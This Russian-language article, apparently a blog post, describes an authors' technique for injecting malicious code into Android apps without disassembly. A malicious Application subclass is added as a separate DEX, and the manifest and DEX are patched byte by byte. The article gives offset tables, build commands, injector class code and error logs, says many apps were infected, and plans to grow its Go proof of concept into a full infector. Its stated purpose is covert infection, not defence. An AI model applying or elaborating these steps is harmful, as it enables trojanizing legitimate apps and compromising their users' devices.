tags: android - malware
Новый способ внедрения вредоносного кода в андроид приложения

- Предисловие
 - Недостатки текущего подхода
 - Описание нового подхода
 - Преимущества нового подхода
 - Выявление необходимых модификаций в AndroidManifest.xml и патчинг
 - Создание файлов, для внедрения в целевое приложение
 - Выявление необходимых модификаций в DEX и патчинг
 - Результаты
 - Ограничения нового подхода
 - Дальнейшие улучшения PoC
 - FAQ
 
Предисловие
Авторы идеи: Ербол & Thatskriptkid
Автор рисунка: @alphin.fault instagram
Автор статьи и proof-of-concept кода: Thatskriptkid
Целевая аудитория статьи - люди, которые имеют представление о текущем способе заражения андроид приложений через патчинг smali кода и хотят узнать о новом и более эффективном способе. Если вы не знакомы с текущей практикой заражения, то прочитайте мою статью - Воруем эцп, используя Man-In-The-Disk, глава - “Создаем payload”. Техника описанная здесь, полностью была придумана нами, в сети отсутствует какое-либо описание подобного способа.
Наш способ:
- Не использует баги или уязвимости андроида
 - Не предназначен для крякинга приложений (удаление рекламы, лицензии и т.д.)
 - Предназначен для добавления вредоносного кода, без какого-либо вмешательства в работу целевого приложения или его внешний вид.
 
Недостатки текущего подхода
Способ внедрения вредоносного кода, с помощью декодирования приложения до smali кода и его патчинг - является единственным и широко практикуемым на сегодняшний день. smali/backsmali - единственный инструмент, используемый для этого. На основе него строятся все известные инфекторы, например:
Малварь также использует smali/backsmali и патчинг. Схема работы трояна Android.InfectionAds.1:

Декодирование и патчинг предполагают изменение оригинального classesN.dex файла. Это приводит к двум проблемам:
- Выход за пределы лимита в 65536 методов в одном DEX файле, если вредоносного кода слишком много
 - Приложение может проверять целостность DEX файлов
 
Декодирование/дизассемблирование DEX - это сложный процесс, требующий постоянного обновления и сильно зависящий от версии андроида.
Практически все доступные инструменты для заражения/модификации написаны на Java и/или зависят от JVM - это сильно сужает область использования и делает невозможным запуск инфектора на роутерах, встроенных системах, системах без JVM и т.д.
Описание нового подхода
В андроиде существует несколько типов запуска приложений, один из них называется cold start. Cold start - запуск приложения впервые.

Выполнение приложения начинается с создания Application объекта. Большинство андроид приложений имеют свой Application класс, который должен наследоваться от основного класса android.app.Applciation. Пример класса:
package test.pkg;
import android.app.Application;
public class TestApp extends Application {
    public TestApp() {}
    @Override
    public void onCreate() {
        super.onCreate();
    }
}
Класс test.pkg.TestApp должен быть прописан в AndroidManifest.xml. Пример манифеста:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example">
    <application
        android:icon="@mipmap/ic_launcher"
        android:label="Test"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:name="test.pkg.TestApp">
    </application>
</manifest>
Процесс запуска такого приложения:

Были определены основные требования к нашей технике заражения:
- Выполнение вредоносного кода, при старте приложения
 - Сохранение всех этапов процесса запуска оригинального приложения
 
Внедрение вредоносного кода происходило в стадии алгоритма cold start:Application Object creation->Application Object Constructor. Был создан вредоносный Application класс, внедрен в приложение и прописан в AndroidManifest.xml, вместо изначального. Чтобы сохранять прежнюю цепочку выполнения, он был наследован от test.pkg.TestApp.
Вредоносный Application класс:
package my.malicious;
import test.pkg;
public class InjectedApp extends TestApp {
    public InjectedApp() {
        super();
        executeMaliciousPayload();
    }
}
Модифицированный AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example">
    <application
        android:icon="@mipmap/ic_launcher"
        android:label="Test"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:name="my.malicious.InjectedApp">
    </application>
</manifest>
Процесс запуска вредоносного кода внутри зараженного приложения (красным выделены модификации):

Примененные модификации:
- В приложение добавлен класс 
my.malicious.InjectedApp - В AndroidManifest.xml заменена строка 
test.pkg.TestAppнаmy.malicious.InjectedApp 
Преимущества нового подхода
Существует возможность применить необходимые модификации к APK:
- Без дизассемблирования/сборки DEX
 - Без декодирования/кодирования манифеста
 - Без внесения изменений в оригинальные DEX файлы
 
Данные факты позволяют заражать практически любое существующее приложение, без ограничений. Добавление своего класса и изменение манифеста работает намного быстрее, чем декодирование. Внедренный нашей техникой вредоносный код стартует сразу, а не по определенному событию, так как мы внедряемся в самое начало процесса запуска приложения. Описанная техника заражения не зависит от архитектуры и версии андроида (за небольшим исключением).
PoC для демонстрации был написан на Go и готов к расширению до полноценного инструмента. PoC компилируется в один целостный бинарный файл и не использует никаких зависимостей в рантайме. Использование Go позволяет, с помощью кросс-компиляции, собрать инфектор для практически любой архитектуры и ОС.
Тестирование приложений, зараженных PoC проводилось на:
NOX player 6.6.0.8006-7.1.2700200616, Android 7.1.2 (API 25), ARMv7-32
NOX player 6.6.0.8006-7.1.2700200616, Android 5.1.1 (API 22), ARMv7-32
Android Studio Emulator, Android 5.0 (API 21), x86
Android Studio Emulator, Android 7.0 (API 24), x86
Android Studio Emulator, Android 9.0 (API 28), x86_64
Android Studio Emulator, Android 10.0 (API 29), x86
Android Studio Emulator, Android 10.0 (API 29), x86_64
Android Studio Emulator, Android API 30, x86
Xiaomi Mi A1
Удалось удачно заразить огромное количество приложений (по понятным причинам имена скрыты). Удалось заразить приложения, которые не поддаются декодированию, с помощью smali/backsmali, а значит и любого существующего инструмента.
Выявление необходимых модификаций в AndroidManifest.xml и патчинг
Одной из модификаций, необходимой для заражения, является замена строки в AndroidManifest.xml. Существует возможность пропатчить строку, без декодирования/кодирования манифеста.
APK содержат манифест в бинарном, закодированном виде. Структура бинарного манифеста не документирована и представляет собой кастомный алгоритм кодирования XML от Google. Для удобства было создано описание на языке Kaitai Struct, которое может быть использовано, а качестве документации.
Структура AndroidManifest.xml (в скобках - размер в байтах):

Для определения изменений в манифесте, после патчинга оригинального имени Application класса на вредоносное, были разработаны два приложения, с разными имена классов. Приложения были собраны в APK и распакованы, для получения бинарных манифестов.
Пример оригинального манифеста, с именем Application - test.pkg.TestApp:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.qoogle.service.outbound.thread.safe.eng.packages.packas.pack.level.random">
    <application
        android:icon="@mipmap/ic_launcher"
        android:label="MinDEX"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:name="test.pkg.TestApp">
    </application>
</manifest>
Пример пропатченного манифеста, с именем Application - test.pkg.TestAppAAAAAAAAA:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.qoogle.service.outbound.thread.safe.eng.packages.packas.pack.level.random">
    <application
        android:icon="@mipmap/ic_launcher"
        android:label="MinDEX"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:name="test.pkg.TestAppAAAAAAAAA">
    </application>
</manifest>
Длина полного имени класса увеличилась на 9 символов. Оба файла были открыты в HexCmp, для получения диффа.
Изменения, которым подвергся манифест и объяснение причин:
| field | offset | description | diff_count | explanation | 
|---|---|---|---|---|
| header.file_len | 0x4 | Длина всего файла | 0x10 | В оригинальном манифесте было 0х2 байта выравнивания, в измененном они не требуются.  Строки в бинарном манифесте хранятся в формате UTF-16, то есть один символ занимает 0x2 байта. Итого, мы увеличили строку на 9 символов (0x12 байт) минус 0x2 байта выравнивания, получаем разницу 0x10 байт  | 
  
| header.string_table_len | 0xC | Длина массива строк | 0x10 | Строка находится в общем массиве строк. Объяснение разницы в 0x10 байт такая же как у header.file_len | 
| string_offset_table.offset | 0x7C | Оффсет до строки, следующей после измененной | 0x12 | В string_offset_table хранятся оффсеты до строк в массиве строк манифеста. Так как длина строки увеличилась,  следующая за ней строка сдвинулась дальше на 0x12 байт. Выравниваниеи здесь не учитывается, так как оффсеты расположены до массива строк.  | 
  

| field | offset | description | diff_count | explanation | 
|---|---|---|---|---|
| strings.len | 0x2EA | Длина строки | 0x9 | Количество символов, на которое увеличилась строка | 

В структуре манифеста, приведенной в начале, после strings следует padding, для выравнивания resource_header. В оригинальном манифесте последняя строка uses-sdk заканчивается
по оффсету 0x322 (оранжевым), а значит были добавлены два байта выравнивания (зеленым) для resource_header

В модифицированном варианте, string_table заканчивается на оффсете 0x334 (оранжевым) и далее сразу следует resource_header (красным), который не требует выравнивания.

Структура AndroidManifest.xml, с указанием полей, которые необходимо пропатчить, для замены имени оригинального Applciation класса на вредоносный (выделены красным):

Proof-of-Concept код, разработанный для статьи, реализовывает эти модификации в методе manifest.Patch().
Создание файлов, для внедрения в целевое приложение
Второй модификацией, необходимой для заражения, является внедрение класса, с вредоносным кодом. Для сохранения оригинальной цепочки запуска приложения, в него должен быть внедрен Application класс, родительским классом которого должен является оригинальный Applciation класс. На этапе подготовке внедряемых файлов, оно неизвестно. Поэтому, при создании класса, необходимо было использовать имя-заглушку z.z.z.
Изначальное состояние приложения и внедряемого DEX:

После получения оригинального имени Application класса из манифеста, заглушка была пропатчена:

Процедура заражения завершается добавлением вредоносного DEX в целевое приложение:

Так как классы с вредоносным кодом могут иметь разный код, они были вынесены в отдельный DEX. Это также было сделано для упрощения процедуры патчинга заглушки.

Имена классов в DEX располагаются в алфавитном порядке. Имя Application класса целевого приложения может начинаться с любой буквы. Для предсказуемости порядка строк, после патчинга, имя заглушки было выбрано равным z.z.z.

Для подготовки внедряемых файлов, был создан проект в Android Studio, с тремя классами.
Класс InjectedApp. Его полное имя:
aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp
Это имя должно удовлетворять двум правилам:
- 
    
Оно должно быть длиннее любого имени Application класса любого целевого приложения
 - 
    
Оно должно быть выше в алфавитном порядке любого имени Application класса любого приложения
 
Класс InjectedApp, который будет выполняться вместо Application class целевого приложения:
package aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa;
import aaaaaaaaaaaa.payload;
import z.z.z;
public class InjectedApp extends z {
    public InjectedApp() {
        super();
        payload p = new payload();
        p.executePayload();
    }
}
Задача класса начать выполнение вредоносного кода, который находится в другом DEX:
        payload p = new payload();
        p.executePayload();
Класс payload содержит вредоносный код:
package aaaaaaaaaaaa;
import android.util.Log;
public class payload {
    public void executePayload() {
            Log.i("HELL", "Hello, I'm a malicious payload");
    }
}
Полное имя класса должно удовлетворять следующему правилу:
- Оно должно быть выше по алфавиту любого имени класса Application любого приложения
 
Для внедрения произвольного вредоносного кода необходимо создать DEX файл, который должен соблюдать условия:
- Содержать класс с именем:
 
aaaaaaaaaaaa.payload
- Класс должен содержать метод
 
public void executePayload()
Класс-заглушка z.z.z, полное имя которого будет пропатчено на полное имя Applciation класса целевого приложения.
package z.z;
import android.app.Application;
public class z extends Application {
}
Класс должен соблюдать условие:
- Полное имя класса должно быть ниже по алфавиту полных имен классов 
InjectedAppиpayload. - Полное имя класса должно быть короче любых полных имен Application классов любых приложений.
 
В соответствии с разработанной схемой внедрения, классы InjectedApp и payload были скомпилированы в отдельные DEX. Для этого в Android Studio была выполнена сборка APK командой Android Studio->Generate Signed Bundle/APK->release. Скомпилированные .class файлы создались в папке app\build\intermediates\javac\release\classes.
Компилирование .class файлов в DEX, с помощью d8:
d8 --release --min-api 16 --no-desugaring InjectedApp.class --output .
d8 --release --min-api 16 --no-desugaring payload.class --output .
Получившиеся DEX должны быть добавлены в целевое приложение.
Выявление необходимых модификаций в DEX и патчинг
После патчинга заглушки z.z.z на полное имя Application класса целевого приложения, структура DEX изменится. Для выявления модификаций, в Android Studio было создано два приложения с именами классов разной длины.
Класс InjectedApp, наследуемый от z.z.z, в первом приложении:
package aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa;
import aaaaaaaaaaaa.payload;
import z.z.z;
public class InjectedApp extends z {
    public InjectedApp() {
        super();
        payload p = new payload();
        p.executePayload();
    }
}
Класс InjectedApp, наследуемый от z.z.zzzzzzzzzzzzzzzz во втором приложении:
package aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa;
import aaaaaaaaaaaa.payload;
import z.z.z;
public class InjectedApp extends zzzzzzzzzzzzzzzz {
    public InjectedApp() {
        super();
        payload p = new payload();
        p.executePayload();
    }
}
Длина имени класса увеличилась на 15 символов. Компилируем оба класса отдельно в DEX:
d8 --release --min-api 16 --no-desugaring InjectedApp.class --output .
Откроем получившиеся DEX в программе HexCMP:
Официальная документация по структуре DEX
| field | offset | description | diff_count | explanation | 
|---|---|---|---|---|
| header_item.checksum | 0x8 | Контрольная сумма | full | При любом изменении DEX контрольная сумма пересчитывается | 
| header_item.signature | 0xC | Хэш | full | При любом изменении DEX хэш пересчитывается | 
| header_item.file_size | 0x20 | Размер файла | 0x10 | Размер строки увеличился на 0xF, плюс 0x1 байт выравнивания | 
| header_item.map_off | 0x34 | оффсет до map | 0x10 | map находится после массива строк, поэтому оффсет был увеличен, с учетом выравнивания | 
| header_item.data_size | 0x68 | размер data секции | 0x10 | Data секция находится после массива строк, поэтому оффсет был увеличен, с учетом выравнивания | 
| map.class_def_item.class_data_off | 0xE8 | оффсет до данных класса | 0xF | Данная структура не требует выравнивания, поэтому значение увеличилось на количество добавленных символов | 
| map_list.debug_info_item | 0x114 | debug информация | Не важно | Поле хранит данные, необходимые для корректного вывода, при краше. Поле можно игнорировать | 

| field | offset | description | diff_count | explanation | 
|---|---|---|---|---|
| string_data_item.utf16_size | 0x1B3 | размер строки | 0xF | Строки в DEX хранятся в формате MUTF-8, где один символ занимает 1 байт | 

Изменения в конце файла:
| field | offset | description | diff_count | explanation | 
|---|---|---|---|---|
| map.class_data_item.offset | 0x29C | оффсет до class_data_item | 0xF | Структура class_data_item следует сразу за массивом строк и не требует выравнивания | 
| map.annotation_set_item.entries.annotation_off_item | 0x2A8 | оффсет до аннотаций | 0x10 | Выравнивание учитывается | 
| map.map_list.offset | 0x2B4 | оффсет до map_list | 0x10 | Выравнивание учитывается | 

Proof-of-Concept код, разработанный для статьи, реализовывает эти модификации в методе mydex.Patch().
Результаты
Для применения необходимых модификаций, был разработан PoC, который работает по алгоритму:
- Распаковывание файлов APK
 - Парсинг AndroidManifest.xml
 - Нахождение имени Application класса
 - Патчинг оригинального имени Application на 
aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedAppв AndroidManifest.xml - Патчинг заглушки 
z.z.zна оригинальное имя Application класса - Добавление в APK двух DEX (один с InjectedApp Application классом, второй с вредоносными классами)
 - Запаковывание всех файлов в новый APK
 
Ограничения нового подхода
Данная техника не будет работать с приложениями, удовлетворяющие всем условиям одновременно:
- minSdkVersion <= 20
 - Не используют в зависимостях библиотеку 
androidx.multidex:multidexилиcom.android.support:multidex - Запускаются на андроиде версии меньше, чем Android 5.0 (API level 21)
 
Тем самым предполагается, что приложение имеет один DEX файл. Ограничение применимо из-за того, что версии андроида до Android 5.0 (API level 21) используют виртуальную машину Dalvik, для запуска кода. По умолчанию, Dalvik воспринимает только один DEX файл в APK. Чтобы обойти это ограничение, необходимо использовать вышеприведенные библиотеки. Версии андроида после Android 5.0 (API level 21), вместо Dalvik, используют систему ART, которая нативно поддерживает несколько DEX файлов в приложении, так как при установке приложения она прекомпилирует все DEX в один .oat файл. Подробности написаны в официальной документации.
Подход также не будет работать, если класс Application оригинального приложения имеет модификатор final. В этом случае ошибка будет выглядеть следующим образом (пример):
07-05 06:37:07.759 11446 11446 E AndroidRuntime: java.lang.IncompatibleClassChangeError: Superclass xxx.App of aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp is declared final (declaration of 'aaaaaaaa.aaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaa.InjectedApp' appears in /data/app/xxxx-sPY0UxWPhWrZuzj1iXsaEQ==/base.apk:classes4.dex)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at java.lang.VMClassLoader.findLoadedClass(Native Method)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at java.lang.ClassLoader.findLoadedClass(ClassLoader.java:738)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at java.lang.ClassLoader.loadClass(ClassLoader.java:363)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at java.lang.ClassLoader.loadClass(ClassLoader.java:312)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at android.app.Instrumentation.newApplication(Instrumentation.java:1086)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at android.app.LoadedApk.makeApplication(LoadedApk.java:965)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at android.app.ActivityThread.handleBindApplication(ActivityThread.java:5765)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at android.app.ActivityThread.-wrap1(Unknown Source:0)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1661)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at android.os.Handler.dispatchMessage(Handler.java:105)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at android.os.Looper.loop(Looper.java:164)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at android.app.ActivityThread.main(ActivityThread.java:6541)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at java.lang.reflect.Method.invoke(Native Method)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at com.android.internal.os.Zygote$MethodAndArgsCaller.run(Zygote.java:240)
07-05 06:37:07.759 11446 11446 E AndroidRuntime: 	at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:767)
Единственный вариант как решить эту проблему, это патчинг оригинального класса, чтобы он наследовал внедряемый вредоносный.
Дальнейшие улучшения PoC
- Если у приложения нет своего Application класс, то необходимо добавлять 
InjectedAppв AndroidManifest.xml - Добавление в AndroidManifest.xml своих тегов
 - Подписание APK
 - Избавление от декодирования AndroidManifest.xml
 - Патчить оригинальный Application класс, чтобы он наследовался от вредоносного, если он final.
 
FAQ
Q: Почему бы не использовать в полном имени InjectedApp символы подчеркивания, тем самым оно практически гарантировано будет по алфавиту выше любого имени Application класса целевого приложения?
A: Технически это возможно, но возникнут проблемы в Android 5 и будет следующая ошибка:
D/AndroidRuntime( 3891): Calling main entry com.android.commands.pm.Pm
D/DefContainer( 3414): Copying /mnt/shared/App/20200629234847850.apk to base.apk
W/PackageManager( 1802): Failed parse during installPackageLI
W/PackageManager( 1802): android.content.pm.PackageParser$PackageParserException: /data/app/vmdl1642407162.tmp/base.apk (at Binary XML file line #48): Bad class name ________.__________._0000000000000000000000000000000000000000000000000000000000000000.InjectedApp in package XXXXXXXXXXXXXXXXXXXXXX
W/PackageManager( 1802):        at android.content.pm.PackageParser.parseBaseApk(PackageParser.java:885)
W/PackageManager( 1802):        at android.content.pm.PackageParser.parseClusterPackage(PackageParser.java:790)
W/PackageManager( 1802):        at android.content.pm.PackageParser.parsePackage(PackageParser.java:754)
W/PackageManager( 1802):        at com.android.server.pm.PackageManagerService.installPackageLI(PackageManagerService.java:10816)
W/PackageManager( 1802):        at com.android.server.pm.PackageManagerService.access$2300(PackageManagerService.java:236)
W/PackageManager( 1802):        at com.android.server.pm.PackageManagerService$6.run(PackageManagerService.java:8888)
W/PackageManager( 1802):        at android.os.Handler.handleCallback(Handler.java:739)
W/PackageManager( 1802):        at android.os.Handler.dispatchMessage(Handler.java:95)
W/PackageManager( 1802):        at android.os.Looper.loop(Looper.java:135)
W/PackageManager( 1802):        at android.os.HandlerThread.run(HandlerThread.java:61)
W/PackageManager( 1802):        at com.android.server.ServiceThread.run(ServiceThread.java:46)
Q: Почему бы вместо внедрения своего Application класса, не внедрять свой Activity и прописывать его в манифесте, вместо основного, ведь оно также стартует самым первым? Да, при таком способе payload выполнится чуть позже, но это не критично.
A: В этом подходе есть две проблемы. Первая - существуют приложения, которые используют в манифесте очень много тегов activity-alias, которые ссылаются на имя основного активити. В этом случае нам придется патчить не одну строку в манифесте, а несколько. Также это затрудняет парсинг и нахождение имени нужного Activity. Вторая - основной Activity запускается в главном UI потоке, что накладывает некоторые ограничения на вредоносный код.
Q: Но ведь в Application классе нельзя использовать сервисы. Какой может быть вредоносный код без сервисов?
A: Во-первых, это ограничение введено в версии андроида, начиная с API 25. Во-вторых, это ограничение касается андроид приложений в целом, а не конкретно Application класса. В третьих, сервисы использовать можно, но не обычные, а foreground.
Q: Ваш PoC не работает
A: В этом случае удостоверьтесь, что:
- Оригинальное приложение работает
 - Все пути к файлам в PoC корректны
 - В apkinfector.log нету ничего необычного
 - Имя оригинального Application класса в пропатченном InjectedApp.dex действительно находится на своем месте
 - Целевое приложение использует свой Application класс. Иначе, неработоспособность PoC - предсказуема
 
Если ничего не помогло, то попробуйте поиграть с параметром --min-api, когда компилируете классы.
Если ничего не помогло, то создайте issue на github.
Q: Почему для заражения был выбран конструктор Application, а не метод OnCreate()?
A: Дело в том, что существуют приложения, у которых Application класс содержит метод OnCreate() с модификатором final. Если вы подложите свой Application с OnCreate(), то андроид выдаст ошибку:
06-28 07:27:59.770  2153  4539 I ActivityManager: Start proc 6787:xxxxxxxxx/u0a46 for activity xxxxxxxxx/.Main
06-28 07:27:59.813  6787  6787 I art     : Rejecting re-init on previously-failed class java.lang.Class<InjectedApp>:
 java.lang.LinkageError: Method void InjectedApp.onCreate() overrides final method in class LX/001; 
(declaration of 'InjectedApp' appears in /data/app/xxxxxxxxx-1/base.apk:classes2.dex)
Причины ошибки тут
if (super_method->IsFinal()) {
          ThrowLinkageError(klass.Get(), "Method %s overrides final method in class %s",
                            virtual_method->PrettyMethod().c_str(),
                            super_method->GetDeclaringClassDescriptor());
          return false;
        }
Андроид увидит, что super method - final и выдаст ошибку.
В Java, если вы не создали никакого конструктора, то компилятор создаст его за вас (без параметров). Если же вы создали конструктор с параметрами, то конструктор без параметров автоматически не создается. Так как мы вызываем конструктор без параметров, то вы можете подумать, что возникнет проблема, если app class целевого приложения содержит констурктор с параметрами. Но нет, именно для Application классов, андроид требует чтобы был дефолтный констурктор. Иначе вы получаете такую ошибку
06-28 08:51:54.647  8343  8343 D AndroidRuntime: Shutting down VM
06-28 08:51:54.647  8343  8343 E AndroidRuntime: FATAL EXCEPTION: main
06-28 08:51:54.647  8343  8343 E AndroidRuntime: Process: xxxxxxxxx, PID: 8343
06-28 08:51:54.647  8343  8343 E AndroidRuntime: java.lang.RuntimeException: Unable to instantiate application xxxxxxxxx.AppShell: java.lang.InstantiationException: java.lang.Class<xxxxxxxxx.AppShell> has no zero argument constructor
06-28 08:51:54.647  8343  8343 E AndroidRuntime:        at android.app.LoadedApk.makeApplication(LoadedApk.java:802)
